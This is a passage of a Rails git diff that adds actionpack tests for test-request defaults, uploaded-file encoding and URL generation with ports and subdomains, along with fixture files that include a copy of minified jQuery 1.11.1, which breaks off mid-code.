+
+ test "allows remote address to be overridden" do
+ req = ActionDispatch::TestRequest.new('REMOTE_ADDR' => '127.0.0.1')
+ assert_equal '127.0.0.1', req.remote_addr
+ end
+
+ test "default host is test.host" do
+ req = ActionDispatch::TestRequest.new
+ assert_equal 'test.host', req.host
+ end
+
+ test "allows host to be overridden" do
+ req = ActionDispatch::TestRequest.new('HTTP_HOST' => 'www.example.com')
+ assert_equal 'www.example.com', req.host
+ end
+
+ test "default user agent is 'Rails Testing'" do
+ req = ActionDispatch::TestRequest.new
+ assert_equal 'Rails Testing', req.user_agent
+ end
+
+ test "allows user agent to be overridden" do
+ req = ActionDispatch::TestRequest.new('HTTP_USER_AGENT' => 'GoogleBot')
+ assert_equal 'GoogleBot', req.user_agent
+ end
+
private
def assert_cookies(expected, cookie_jar)
assert_equal(expected, cookie_jar.instance_variable_get("@cookies"))
diff --git a/actionpack/test/dispatch/uploaded_file_test.rb b/actionpack/test/dispatch/uploaded_file_test.rb
index 72f3d1db0d..55ebbd5143 100644
--- a/actionpack/test/dispatch/uploaded_file_test.rb
+++ b/actionpack/test/dispatch/uploaded_file_test.rb
@@ -18,6 +18,12 @@ module ActionDispatch
assert_equal "UTF-8", uf.original_filename.encoding.to_s
end
+ def test_filename_should_always_be_in_utf_8
+ uf = Http::UploadedFile.new(:filename => 'foo'.encode(Encoding::SHIFT_JIS),
+ :tempfile => Object.new)
+ assert_equal "UTF-8", uf.original_filename.encoding.to_s
+ end
+
def test_content_type
uf = Http::UploadedFile.new(:type => 'foo', :tempfile => Object.new)
assert_equal 'foo', uf.content_type
@@ -33,6 +39,12 @@ module ActionDispatch
assert_equal 'foo', uf.tempfile
end
+ def test_to_io_returns_the_tempfile
+ tf = Object.new
+ uf = Http::UploadedFile.new(:tempfile => tf)
+ assert_equal tf, uf.to_io
+ end
+
def test_delegates_path_to_tempfile
tf = Class.new { def path; 'thunderhorse' end }
uf = Http::UploadedFile.new(:tempfile => tf.new)
diff --git a/actionpack/test/dispatch/url_generation_test.rb b/actionpack/test/dispatch/url_generation_test.rb
index e56e8ddc57..8f79e7bf9a 100644
--- a/actionpack/test/dispatch/url_generation_test.rb
+++ b/actionpack/test/dispatch/url_generation_test.rb
@@ -15,15 +15,19 @@ module TestUrlGeneration
Routes.draw do
get "/foo", :to => "my_route_generating#index", :as => :foo
+ resources :bars
+
mount MyRouteGeneratingController.action(:index), at: '/bar'
end
+ APP = build_app Routes
+
def _routes
Routes
end
def app
- Routes
+ APP
end
test "generating URLS normally" do
@@ -48,6 +52,83 @@ module TestUrlGeneration
https!
assert_equal "http://www.example.com/foo", foo_url(:protocol => "http")
end
+
+ test "extracting protocol from host when protocol not present" do
+ assert_equal "httpz://www.example.com/foo", foo_url(host: "httpz://www.example.com", protocol: nil)
+ end
+
+ test "formatting host when protocol is present" do
+ assert_equal "http://www.example.com/foo", foo_url(host: "httpz://www.example.com", protocol: "http://")
+ end
+
+ test "default ports are removed from the host" do
+ assert_equal "http://www.example.com/foo", foo_url(host: "www.example.com:80", protocol: "http://")
+ assert_equal "https://www.example.com/foo", foo_url(host: "www.example.com:443", protocol: "https://")
+ end
+
+ test "port is extracted from the host" do
+ assert_equal "http://www.example.com:8080/foo", foo_url(host: "www.example.com:8080", protocol: "http://")
+ assert_equal "//www.example.com:8080/foo", foo_url(host: "www.example.com:8080", protocol: "//")
+ assert_equal "//www.example.com:80/foo", foo_url(host: "www.example.com:80", protocol: "//")
+ end
+
+ test "port option is used" do
+ assert_equal "http://www.example.com:8080/foo", foo_url(host: "www.example.com", protocol: "http://", port: 8080)
+ assert_equal "//www.example.com:8080/foo", foo_url(host: "www.example.com", protocol: "//", port: 8080)
+ assert_equal "//www.example.com:80/foo", foo_url(host: "www.example.com", protocol: "//", port: 80)
+ end
+
+ test "port option overrides the host" do
+ assert_equal "http://www.example.com:8080/foo", foo_url(host: "www.example.com:8443", protocol: "http://", port: 8080)
+ assert_equal "//www.example.com:8080/foo", foo_url(host: "www.example.com:8443", protocol: "//", port: 8080)
+ assert_equal "//www.example.com:80/foo", foo_url(host: "www.example.com:443", protocol: "//", port: 80)
+ end
+
+ test "port option disables the host when set to nil" do
+ assert_equal "http://www.example.com/foo", foo_url(host: "www.example.com:8443", protocol: "http://", port: nil)
+ assert_equal "//www.example.com/foo", foo_url(host: "www.example.com:8443", protocol: "//", port: nil)
+ end
+
+ test "port option disables the host when set to false" do
+ assert_equal "http://www.example.com/foo", foo_url(host: "www.example.com:8443", protocol: "http://", port: false)
+ assert_equal "//www.example.com/foo", foo_url(host: "www.example.com:8443", protocol: "//", port: false)
+ end
+
+ test "keep subdomain when key is true" do
+ assert_equal "http://www.example.com/foo", foo_url(subdomain: true)
+ end
+
+ test "keep subdomain when key is missing" do
+ assert_equal "http://www.example.com/foo", foo_url
+ end
+
+ test "omit subdomain when key is nil" do
+ assert_equal "http://example.com/foo", foo_url(subdomain: nil)
+ end
+
+ test "omit subdomain when key is false" do
+ assert_equal "http://example.com/foo", foo_url(subdomain: false)
+ end
+
+ test "omit subdomain when key is blank" do
+ assert_equal "http://example.com/foo", foo_url(subdomain: "")
+ end
+
+ test "generating URLs with trailing slashes" do
+ assert_equal "/bars.json", bars_path(
+ trailing_slash: true,
+ format: 'json'
+ )
+ end
+
+ test "generating URLS with querystring and trailing slashes" do
+ assert_equal "/bars.json?a=b", bars_path(
+ trailing_slash: true,
+ a: 'b',
+ format: 'json'
+ )
+ end
+
end
end
diff --git a/actionpack/test/fixtures/blog_public/blog.html b/actionpack/test/fixtures/blog_public/blog.html
deleted file mode 100644
index 79ad44c010..0000000000
--- a/actionpack/test/fixtures/blog_public/blog.html
+++ /dev/null
@@ -1 +0,0 @@
-/blog/blog.html \ No newline at end of file
diff --git a/actionpack/test/fixtures/blog_public/index.html b/actionpack/test/fixtures/blog_public/index.html
deleted file mode 100644
index 2de3825481..0000000000
--- a/actionpack/test/fixtures/blog_public/index.html
+++ /dev/null
@@ -1 +0,0 @@
-/blog/index.html \ No newline at end of file
diff --git a/actionpack/test/fixtures/blog_public/subdir/index.html b/actionpack/test/fixtures/blog_public/subdir/index.html
deleted file mode 100644
index 517bded335..0000000000
--- a/actionpack/test/fixtures/blog_public/subdir/index.html
+++ /dev/null
@@ -1 +0,0 @@
-/blog/subdir/index.html \ No newline at end of file
diff --git a/actionpack/test/fixtures/developer.rb b/actionpack/test/fixtures/developer.rb
deleted file mode 100644
index dd14548fac..0000000000
--- a/actionpack/test/fixtures/developer.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-class Developer < ActiveRecord::Base
- has_and_belongs_to_many :projects
- has_many :replies
- has_many :topics, :through => :replies
-end
-
-class DeVeLoPeR < ActiveRecord::Base
- self.table_name = "developers"
-end
diff --git a/actionpack/test/fixtures/digestor/messages/show.html.erb b/actionpack/test/fixtures/digestor/messages/show.html.erb
deleted file mode 100644
index 9f73345a9f..0000000000
--- a/actionpack/test/fixtures/digestor/messages/show.html.erb
+++ /dev/null
@@ -1,9 +0,0 @@
-<%# Template Dependency: messages/message %>
-<%= render "header" %>
-<%= render "comments/comments" %>
-
-<%= render "messages/actions/move" %>
-
-<%= render @message.history.events %>
-
-<%# render "something_missing" %> \ No newline at end of file
diff --git a/actionpack/test/fixtures/functional_caching/formatted_fragment_cached_with_variant.html+phone.erb b/actionpack/test/fixtures/functional_caching/formatted_fragment_cached_with_variant.html+phone.erb
new file mode 100644
index 0000000000..e523b74ae3
--- /dev/null
+++ b/actionpack/test/fixtures/functional_caching/formatted_fragment_cached_with_variant.html+phone.erb
@@ -0,0 +1,3 @@
+<body>
+<%= cache do %><p>PHONE</p><% end %>
+</body>
diff --git a/actionpack/test/fixtures/helpers/abc_helper.rb b/actionpack/test/fixtures/helpers/abc_helper.rb
index 7104ff3730..cf2774bb5f 100644
--- a/actionpack/test/fixtures/helpers/abc_helper.rb
+++ b/actionpack/test/fixtures/helpers/abc_helper.rb
@@ -1,5 +1,3 @@
module AbcHelper
def bare_a() end
- def bare_b() end
- def bare_c() end
end
diff --git a/actionpack/test/fixtures/helpers_typo/admin/users_helper.rb b/actionpack/test/fixtures/helpers_typo/admin/users_helper.rb
new file mode 100644
index 0000000000..7d2326e04d
--- /dev/null
+++ b/actionpack/test/fixtures/helpers_typo/admin/users_helper.rb
@@ -0,0 +1,5 @@
+module Admin
+ module UsersHelpeR
+ end
+end
+
diff --git a/actionpack/test/fixtures/layout_tests/layouts/symlinked b/actionpack/test/fixtures/layout_tests/layouts/symlinked
deleted file mode 120000
index 0ddc1154ab..0000000000
--- a/actionpack/test/fixtures/layout_tests/layouts/symlinked
+++ /dev/null
@@ -1 +0,0 @@
-../../symlink_parent \ No newline at end of file
diff --git a/actionpack/test/fixtures/localized/hello_world.it.erb b/actionpack/test/fixtures/localized/hello_world.it.erb
new file mode 100644
index 0000000000..9191fdc187
--- /dev/null
+++ b/actionpack/test/fixtures/localized/hello_world.it.erb
@@ -0,0 +1 @@
+Ciao Mondo \ No newline at end of file
diff --git a/actionpack/test/fixtures/multipart/bracketed_utf8_param b/actionpack/test/fixtures/multipart/bracketed_utf8_param
new file mode 100644
index 0000000000..976ca44a45
--- /dev/null
+++ b/actionpack/test/fixtures/multipart/bracketed_utf8_param
@@ -0,0 +1,5 @@
+--AaB03x
+Content-Disposition: form-data; name="Iñtërnâtiônàlizætiøn_name[Iñtërnâtiônàlizætiøn_nested_name]"
+
+Iñtërnâtiônàlizætiøn_value
+--AaB03x--
diff --git a/actionpack/test/fixtures/multipart/single_utf8_param b/actionpack/test/fixtures/multipart/single_utf8_param
new file mode 100644
index 0000000000..b86f62d1e1
--- /dev/null
+++ b/actionpack/test/fixtures/multipart/single_utf8_param
@@ -0,0 +1,5 @@
+--AaB03x
+Content-Disposition: form-data; name="Iñtërnâtiônàlizætiøn_name"
+
+Iñtërnâtiônàlizætiøn_value
+--AaB03x--
diff --git a/actionpack/test/fixtures/public/.gitignore b/actionpack/test/fixtures/public/.gitignore
deleted file mode 100644
index 312e635ee6..0000000000
--- a/actionpack/test/fixtures/public/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-absolute/*
diff --git a/actionpack/test/fixtures/public/400.html b/actionpack/test/fixtures/public/400.html
new file mode 100644
index 0000000000..03be6bedaf
--- /dev/null
+++ b/actionpack/test/fixtures/public/400.html
@@ -0,0 +1 @@
+400 error fixture
diff --git a/actionpack/test/fixtures/public/bar.html b/actionpack/test/fixtures/public/bar.html
new file mode 100644
index 0000000000..67fc57079b
--- /dev/null
+++ b/actionpack/test/fixtures/public/bar.html
@@ -0,0 +1 @@
+/bar.html \ No newline at end of file
diff --git a/actionpack/test/fixtures/public/bar/index.html b/actionpack/test/fixtures/public/bar/index.html
new file mode 100644
index 0000000000..d5bb8f898d
--- /dev/null
+++ b/actionpack/test/fixtures/public/bar/index.html
@@ -0,0 +1 @@
+/bar/index.html \ No newline at end of file
diff --git a/actionpack/test/fixtures/public/gzip/application-a71b3024f80aea3181c09774ca17e712.js b/actionpack/test/fixtures/public/gzip/application-a71b3024f80aea3181c09774ca17e712.js
new file mode 100644
index 0000000000..1826a7660e
--- /dev/null
+++ b/actionpack/test/fixtures/public/gzip/application-a71b3024f80aea3181c09774ca17e712.js
@@ -0,0 +1,4 @@
+!function(e,t){"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){function n(e){var t=e.length,n=it.type(e);return"function"===n||it.isWindow(e)?!1:1===e.nodeType&&t?!0:"array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e}function r(e,t,n){if(it.isFunction(t))return it.grep(e,function(e,r){return!!t.call(e,r,e)!==n});if(t.nodeType)return it.grep(e,function(e){return e===t!==n});if("string"==typeof t){if(ft.test(t))return it.filter(t,e,n);t=it.filter(t,e)}return it.grep(e,function(e){return it.inArray(e,t)>=0!==n})}function i(e,t){do e=e[t];while(e&&1!==e.nodeType);return e}function o(e){var t=xt[e]={};return it.each(e.match(bt)||[],function(e,n){t[n]=!0}),t}function a(){ht.addEventListener?(ht.removeEventListener("DOMContentLoaded",s,!1),e.removeEventListener("load",s,!1)):(ht.detachEvent("onreadystatechange",s),e.detachEvent("onload",s))}function s(){(ht.addEventListener||"load"===event.type||"complete"===ht.readyState)&&(a(),it.ready())}function l(e,t,n){if(void 0===n&&1===e.nodeType){var r="data-"+t.replace(Ct,"-$1").toLowerCase();if(n=e.getAttribute(r),"string"==typeof n){try{n="true"===n?!0:"false"===n?!1:"null"===n?null:+n+""===n?+n:kt.test(n)?it.parseJSON(n):n}catch(i){}it.data(e,t,n)}else n=void 0}return n}function u(e){var t;for(t in e)if(("data"!==t||!it.isEmptyObject(e[t]))&&"toJSON"!==t)return!1;return!0}function c(e,t,n,r){if(it.acceptData(e)){var i,o,a=it.expando,s=e.nodeType,l=s?it.cache:e,u=s?e[a]:e[a]&&a;if(u&&l[u]&&(r||l[u].data)||void 0!==n||"string"!=typeof t)return u||(u=s?e[a]=G.pop()||it.guid++:a),l[u]||(l[u]=s?{}:{toJSON:it.noop}),("object"==typeof t||"function"==typeof t)&&(r?l[u]=it.extend(l[u],t):l[u].data=it.extend(l[u].data,t)),o=l[u],r||(o.data||(o.data={}),o=o.data),void 0!==n&&(o[it.camelCase(t)]=n),"string"==typeof t?(i=o[t],null==i&&(i=o[it.camelCase(t)])):i=o,i}}function d(e,t,n){if(it.acceptData(e)){var r,i,o=e.nodeType,a=o?it.cache:e,s=o?e[it.expando]:it.expando;if(a[s]){if(t&&(r=n?a[s]:a[s].data)){it.isArray(t)?t=t.concat(it.map(t,it.camelCase)):t in r?t=[t]:(t=it.camelCase(t),t=t in r?[t]:t.split(" ")),i=t.length;for(;i--;)delete r[t[i]];if(n?!u(r):!it.isEmptyObject(r))return}(n||(delete a[s].data,u(a[s])))&&(o?it.cleanData([e],!0):nt.deleteExpando||a!=a.window?delete a[s]:a[s]=null)}}}function f(){return!0}function p(){return!1}function h(){try{return ht.activeElement}catch(e){}}function m(e){var t=Mt.split("|"),n=e.createDocumentFragment();if(n.createElement)for(;t.length;)n.createElement(t.pop());return n}function g(e,t){var n,r,i=0,o=typeof e.getElementsByTagName!==Et?e.getElementsByTagName(t||"*"):typeof e.querySelectorAll!==Et?e.querySelectorAll(t||"*"):void 0;if(!o)for(o=[],n=e.childNodes||e;null!=(r=n[i]);i++)!t||it.nodeName(r,t)?o.push(r):it.merge(o,g(r,t));return void 0===t||t&&it.nodeName(e,t)?it.merge([e],o):o}function v(e){Dt.test(e.type)&&(e.defaultChecked=e.checked)}function y(e,t){return it.nodeName(e,"table")&&it.nodeName(11!==t.nodeType?t:t.firstChild,"tr")?e.getElementsByTagName("tbody")[0]||e.appendChild(e.ownerDocument.createElement("tbody")):e}function b(e){return e.type=(null!==it.find.attr(e,"type"))+"/"+e.type,e}function x(e){var t=Vt.exec(e.type);return t?e.type=t[1]:e.removeAttribute("type"),e}function w(e,t){for(var n,r=0;null!=(n=e[r]);r++)it._data(n,"globalEval",!t||it._data(t[r],"globalEval"))}function T(e,t){if(1===t.nodeType&&it.hasData(e)){var n,r,i,o=it._data(e),a=it._data(t,o),s=o.events;if(s){delete a.handle,a.events={};for(n in s)for(r=0,i=s[n].length;i>r;r++)it.event.add(t,n,s[n][r])}a.data&&(a.data=it.extend({},a.data))}}function E(e,t){var n,r,i;if(1===t.nodeType){if(n=t.nodeName.toLowerCase(),!nt.noCloneEvent&&t[it.expando]){i=it._data(t);for(r in i.events)it.removeEvent(t,r,i.handle);t.removeAttribute(it.expando)}"script"===n&&t.text!==e.text?(b(t).text=e.text,x(t)):"object"===n?(t.parentNode&&(t.outerHTML=e.outerHTML),nt.html5Clone&&e.innerHTML&&!it.trim(t.innerHTML)&&(t.innerHTML=e.innerHTML)):"input"===n&&Dt.test(e.type)?(t.defaultChecked=t.checked=e.checked,t.value!==e.value&&(t.value=e.value)):"option"===n?t.defaultSelected=t.selected=e.defaultSelected:("input"===n||"textarea"===n)&&(t.defaultValue=e.defaultValue)}}function k(t,n){var r,i=it(n.createElement(t)).appendTo(n.body),o=e.getDefaultComputedStyle&&(r=e.getDefaultComputedStyle(i[0]))?r.display:it.css(i[0],"display");return i.detach(),o}function C(e){var t=ht,n=Zt[e];return n||(n=k(e,t),"none"!==n&&n||(Qt=(Qt||it("<iframe frameborder='0' width='0' height='0'/>")).appendTo(t.documentElement),t=(Qt[0].contentWindow||Qt[0].contentDocument).document,t.write(),t.close(),n=k(e,t),Qt.detach()),Zt[e]=n),n}function N(e,t){return{get:function(){var n=e();if(null!=n)return n?void delete this.get:(this.get=t).apply(this,arguments)}}}function S(e,t){if(t in e)return t;for(var n=t.charAt(0).toUpperCase()+t.slice(1),r=t,i=pn.length;i--;)if(t=pn[i]+n,t in e)return t;return r}function j(e,t){for(var n,r,i,o=[],a=0,s=e.length;s>a;a++)r=e[a],r.style&&(o[a]=it._data(r,"olddisplay"),n=r.style.display,t?(o[a]||"none"!==n||(r.style.display=""),""===r.style.display&&jt(r)&&(o[a]=it._data(r,"olddisplay",C(r.nodeName)))):(i=jt(r),(n&&"none"!==n||!i)&&it._data(r,"olddisplay",i?n:it.css(r,"display"))));for(a=0;s>a;a++)r=e[a],r.style&&(t&&"none"!==r.style.display&&""!==r.style.display||(r.style.display=t?o[a]||"":"none"));return e}function A(e,t,n){var r=un.exec(t);return r?Math.max(0,r[1]-(n||0))+(r[2]||"px"):t}function D(e,t,n,r,i){for(var o=n===(r?"border":"content")?4:"width"===t?1:0,a=0;4>o;o+=2)"margin"===n&&(a+=it.css(e,n+St[o],!0,i)),r?("content"===n&&(a-=it.css(e,"padding"+St[o],!0,i)),"margin"!==n&&(a-=it.css(e,"border"+St[o]+"Width",!0,i))):(a+=it.css(e,"padding"+St[o],!0,i),"padding"!==n&&(a+=it.css(e,"border"+St[o]+"Width",!0,i)));return a}function L(e,t,n){var r=!0,i="width"===t?e.offsetWidth:e.offsetHeight,o=en(e),a=nt.boxSizing&&"border-box"===it.css(e,"boxSizing",!1,o);if(0>=i||null==i){if(i=tn(e,t,o),(0>i||null==i)&&(i=e.style[t]),rn.test(i))return i;r=a&&(nt.boxSizingReliable()||i===e.style[t]),i=parseFloat(i)||0}return i+D(e,t,n||(a?"border":"content"),r,o)+"px"}function H(e,t,n,r,i){return new H.prototype.init(e,t,n,r,i)}function _(){return setTimeout(function(){hn=void 0}),hn=it.now()}function q(e,t){var n,r={height:e},i=0;for(t=t?1:0;4>i;i+=2-t)n=St[i],r["margin"+n]=r["padding"+n]=e;return t&&(r.opacity=r.width=e),r}function F(e,t,n){for(var r,i=(xn[t]||[]).concat(xn["*"]),o=0,a=i.length;a>o;o++)if(r=i[o].call(n,t,e))return r}function M(e,t,n){var r,i,o,a,s,l,u,c,d=this,f={},p=e.style,h=e.nodeType&&jt(e),m=it._data(e,"fxshow");n.queue||(s=it._queueHooks(e,"fx"),null==s.unqueued&&(s.unqueued=0,l=s.empty.fire,s.empty.fire=function(){s.unqueued||l()}),s.unqueued++,d.always(function(){d.always(function(){s.unqueued--,it.queue(e,"fx").length||s.empty.fire()})})),1===e.nodeType&&("height"in t||"width"in t)&&(n.overflow=[p.overflow,p.overflowX,p.overflowY],u=it.css(e,"display"),c="none"===u?it._data(e,"olddisplay")||C(e.nodeName):u,"inline"===c&&"none"===it.css(e,"float")&&(nt.inlineBlockNeedsLayout&&"inline"!==C(e.nodeName)?p.zoom=1:p.display="inline-block")),n.overflow&&(p.overflow="hidden",nt.shrinkWrapBlocks()||d.always(function(){p.overflow=n.overflow[0],p.overflowX=n.overflow[1],p.overflowY=n.overflow[2]}));for(r in t)if(i=t[r],gn.exec(i)){if(delete t[r],o=o||"toggle"===i,i===(h?"hide":"show")){if("show"!==i||!m||void 0===m[r])continue;h=!0}f[r]=m&&m[r]||it.style(e,r)}else u=void 0;if(it.isEmptyObject(f))"inline"===("none"===u?C(e.nodeName):u)&&(p.display=u);else{m?"hidden"in m&&(h=m.hidden):m=it._data(e,"fxshow",{}),o&&(m.hidden=!h),h?it(e).show():d.done(function(){it(e).hide()}),d.done(function(){var t;it._removeData(e,"fxshow");for(t in f)it.style(e,t,f[t])});for(r in f)a=F(h?m[r]:0,r,d),r in m||(m[r]=a.start,h&&(a.end=a.start,a.start="width"===r||"height"===r?1:0))}}function O(e,t){var n,r,i,o,a;for(n in e)if(r=it.camelCase(n),i=t[r],o=e[n],it.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),a=it.cssHooks[r],a&&"expand"in a){o=a.expand(o),delete e[r];for(n in o)n in e||(e[n]=o[n],t[n]=i)}else t[r]=i}function R(e,t,n){var r,i,o=0,a=bn.length,s=it.Deferred().always(function(){delete l.elem}),l=function(){if(i)return!1;for(var t=hn||_(),n=Math.max(0,u.startTime+u.duration-t),r=n/u.duration||0,o=1-r,a=0,l=u.tweens.length;l>a;a++)u.tweens[a].run(o);return s.notifyWith(e,[u,o,n]),1>o&&l?n:(s.resolveWith(e,[u]),!1)},u=s.promise({elem:e,props:it.extend({},t),opts:it.extend(!0,{specialEasing:{}},n),originalProperties:t,originalOptions:n,startTime:hn||_(),duration:n.duration,tweens:[],createTween:function(t,n){var r=it.Tween(e,u.opts,t,n,u.opts.specialEasing[t]||u.opts.easing);return u.tweens.push(r),r},stop:function(t){var n=0,r=t?u.tweens.length:0;if(i)return this;for(i=!0;r>n;n++)u.tweens[n].run(1);return t?s.resolveWith(e,[u,t]):s.rejectWith(e,[u,t]),this}}),c=u.props;for(O(c,u.opts.specialEasing);a>o;o++)if(r=bn[o].call(u,e,c,u.opts))return r;return it.map(c,F,u),it.isFunction(u.opts.start)&&u.opts.start.call(e,u),it.fx.timer(it.extend(l,{elem:e,anim:u,queue:u.opts.queue})),u.progress(u.opts.progress).done(u.opts.done,u.opts.complete).fail(u.opts.fail).always(u.opts.always)}function B(e){return function(t,n){"string"!=typeof t&&(n=t,t="*");var r,i=0,o=t.toLowerCase().match(bt)||[];if(it.isFunction(n))for(;r=o[i++];)"+"===r.charAt(0)?(r=r.slice(1)||"*",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}function P(e,t,n,r){function i(s){var l;return o[s]=!0,it.each(e[s]||[],function(e,s){var u=s(t,n,r);return"string"!=typeof u||a||o[u]?a?!(l=u):void 0:(t.dataTypes.unshift(u),i(u),!1)}),l}var o={},a=e===zn;return i(t.dataTypes[0])||!o["*"]&&i("*")}function I(e,t){var n,r,i=it.ajaxSettings.flatOptions||{};for(r in t)void 0!==t[r]&&((i[r]?e:n||(n={}))[r]=t[r]);return n&&it.extend(!0,e,n),e}function W(e,t,n){for(var r,i,o,a,s=e.contents,l=e.dataTypes;"*"===l[0];)l.shift(),void 0===i&&(i=e.mimeType||t.getResponseHeader("Content-Type"));if(i)for(a in s)if(s[a]&&s[a].test(i)){l.unshift(a);break}if(l[0]in n)o=l[0];else{for(a in n){if(!l[0]||e.converters[a+" "+l[0]]){o=a;break}r||(r=a)}o=o||r}return o?(o!==l[0]&&l.unshift(o),n[o]):void 0}function $(e,t,n,r){var i,o,a,s,l,u={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)u[a.toLowerCase()]=e.converters[a];for(o=c.shift();o;)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!l&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),l=o,o=c.shift())if("*"===o)o=l;else if("*"!==l&&l!==o){if(a=u[l+" "+o]||u["* "+o],!a)for(i in u)if(s=i.split(" "),s[1]===o&&(a=u[l+" "+s[0]]||u["* "+s[0]])){a===!0?a=u[i]:u[i]!==!0&&(o=s[0],c.unshift(s[1]));break}if(a!==!0)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(d){return{state:"parsererror",error:a?d:"No conversion from "+l+" to "+o}}}return{state:"success",data:t}}function z(e,t,n,r){var i;if(it.isArray(t))it.each(t,function(t,i){n||Gn.test(e)?r(e,i):z(e+"["+("object"==typeof i?t:"")+"]",i,n,r)});else if(n||"object"!==it.type(t))r(e,t);else for(i in t)z(e+"["+i+"]",t[i],n,r)}function X(){try{return new e.XMLHttpRequest}catch(t){}}function U(){try{return new e.ActiveXObject("Microsoft.XMLHTTP")}catch(t){}}function V(e){return it.isWindow(e)?e:9===e.nodeType?e.defaultView||e.parentWindow:!1}var G=[],Y=G.slice,J=G.concat,K=G.push,Q=G.indexOf,Z={},et=Z.toString,tt=Z.hasOwnProperty,nt={},rt="1.11.1",it=function(e,t){return new it.fn.init(e,t)},ot=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,at=/^-ms-/,st=/-([\da-z])/gi,lt=function(e,t){return t.toUpperCase()};it.fn=it.prototype={jquery:rt,constructor:it,selector:"",length:0,toArray:function(){return Y.call(this)},get:function(e){return null!=e?0>e?this[e+this.length]:this[e]:Y.call(this)},pushStack:function(e){var t=it.merge(this.constructor(),e);return t.prevObject=this,t.context=this.context,t},each:function(e,t){return it.each(this,e,t)},map:function(e){return this.pushStack(it.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(Y.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(0>e?t:0);return this.pushStack(n>=0&&t>n?[this[n]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:K,sort:G.sort,splice:G.splice},it.extend=it.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,l=arguments.length,u=!1;for("boolean"==typeof a&&(u=a,a=arguments[s]||{},s++),"object"==typeof a||it.isFunction(a)||(a={}),s===l&&(a=this,s--);l>s;s++)if(null!=(i=arguments[s]))for(r in i)e=a[r],n=i[r],a!==n&&(u&&n&&(it.isPlainObject(n)||(t=it.isArray(n)))?(t?(t=!1,o=e&&it.isArray(e)?e:[]):o=e&&it.isPlainObject(e)?e:{},a[r]=it.extend(u,o,n)):void 0!==n&&(a[r]=n));return a},it.extend({expando:"jQuery"+(rt+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isFunction:function(e){return"function"===it.type(e)},isArray:Array.isArray||function(e){return"array"===it.type(e)},isWindow:function(e){return null!=e&&e==e.window},isNumeric:function(e){return!it.isArray(e)&&e-parseFloat(e)>=0},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},isPlainObject:function(e){var t;if(!e||"object"!==it.type(e)||e.nodeType||it.isWindow(e))return!1;try{if(e.constructor&&!tt.call(e,"constructor")&&!tt.call(e.constructor.prototype,"isPrototypeOf"))return!1}catch(n){return!1}if(nt.ownLast)for(t in e)return tt.call(e,t);for(t in e);return void 0===t||tt.call(e,t)},type:function(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?Z[et.call(e)]||"object":typeof e},globalEval:function(t){t&&it.trim(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(at,"ms-").replace(st,lt)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,t,r){var i,o=0,a=e.length,s=n(e);if(r){if(s)for(;a>o&&(i=t.apply(e[o],r),i!==!1);o++);else for(o in e)if(i=t.apply(e[o],r),i===!1)break}else if(s)for(;a>o&&(i=t.call(e[o],o,e[o]),i!==!1);o++);else for(o in e)if(i=t.call(e[o],o,e[o]),i===!1)break;return e},trim:function(e){return null==e?"":(e+"").replace(ot,"")},makeArray:function(e,t){var r=t||[];return null!=e&&(n(Object(e))?it.merge(r,"string"==typeof e?[e]:e):K.call(r,e)),r},inArray:function(e,t,n){var r;if(t){if(Q)return Q.call(t,e,n);for(r=t.length,n=n?0>n?Math.max(0,r+n):n:0;r>n;n++)if(n in t&&t[n]===e)return n}return-1},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;n>r;)e[i++]=t[r++];if(n!==n)for(;void 0!==t[r];)e[i++]=t[r++];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;a>o;o++)r=!t(e[o],o),r!==s&&i.push(e[o]);return i},map:function(e,t,r){var i,o=0,a=e.length,s=n(e),l=[];if(s)for(;a>o;o++)i=t(e[o],o,r),null!=i&&l.push(i);else for(o in e)i=t(e[o],o,r),null!=i&&l.push(i);return J.apply([],l)},guid:1,proxy:function(e,t){var n,r,i;return"string"==typeof t&&(i=e[t],t=e,e=i),it.isFunction(e)?(n=Y.call(arguments,2),r=function(){return e.apply(t||this,n.concat(Y.call(arguments)))},r.guid=e.guid=e.guid||it.guid++,r):void 0},now:function(){return+new Date},support:nt}),it.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(e,t){Z["[object "+t+"]"]=t.toLowerCase()});var ut=function(e){function t(e,t,n,r){var i,o,a,s,l,u,d,p,h,m;if((t?t.ownerDocument||t:P)!==H&&L(t),t=t||H,n=n||[],!e||"string"!=typeof e)return n;if(1!==(s=t.nodeType)&&9!==s)return[];if(q&&!r){if(i=yt.exec(e))if(a=i[1]){if(9===s){if(o=t.getElementById(a),!o||!o.parentNode)return n;if(o.id===a)return n.push(o),n}else if(t.ownerDocument&&(o=t.ownerDocument.getElementById(a))&&R(t,o)&&o.id===a)return n.push(o),n}else{if(i[2])return Z.apply(n,t.getElementsByTagName(e)),n;if((a=i[3])&&w.getElementsByClassName&&t.getElementsByClassName)return 